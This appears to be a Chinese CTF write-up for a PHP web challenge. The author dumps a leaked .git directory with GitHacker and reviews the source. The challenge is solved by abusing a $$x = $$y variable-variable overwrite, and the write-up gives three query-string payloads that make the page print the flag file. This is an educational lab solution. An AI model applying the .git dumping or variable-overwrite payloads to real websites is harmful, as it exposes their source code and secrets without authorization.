发现是一个PHP网站
这里好像仅是一个展示页面,所以试了常规方法,没什么用,仅仅是在左下角底部发现"dog"
先来一个目录扫描
发现*.git*泄露
Githacker --url http://url/.git/ --output-folder buu
代审
flag.php内容
<?php
$flag = file_get_contents('/flag');
index.php的PHP部分
<?php
//定义$flag变量
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
//遍历POST请求参数,将参数名作为变量名,参数值作为变量值,如:POST参数name=value 会创建变量 $name = 'value'
foreach($_POST as $x => $y){
$$x = $y;
}
//遍历GET请求参数,将参数名作为变量名,参数值作为变量名对应的变量值,如:GET参数x=y 会创建变量 $x = $y (其中$y是已存在的变量)
foreach($_GET as $x => $y){
$$x = $$y;
}
//再次遍历GET参数,检查是否存在flag参数且其值等于某个参数名,但该参数名不能是'flag',如果满足条件,则输出 $handsome 变量并退出程序
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
//如果没有设置GET或POST的flag参数,则 输出$yds变量 并退出程序
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//如果POST或GET的flag参数值等于字符串'flag',则 输出$is变量 并退出程序
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
变量覆盖
覆盖$yds
看到$$x = $$y,使用flag变量覆盖任意变量即可,而刚开始发现的dog,就是变量yds,最简单的就是直接令flag
即?yds=flag
就是先覆盖后由于没有设置flag参数,满足"同时没有设置GET和POST方法的flag参数",触发exit条件输出变量yds,实际输出变量flag
覆盖$handsome
依此类推,我们尝试覆盖handsome变量
第一步,先覆盖:handsome=flag
第二步,满足exit()条件,flag=a,而*$x*必须是已存在的参数,所以要定义a,故a=b
得到exp:?handsome=flag&flag=a&a=b
覆盖$is
依旧先覆盖,is=flag
同时也要输入flag变量触发exit,但是为了不影响输出flag结果,使flag=flag
得?is=flag&flag=flag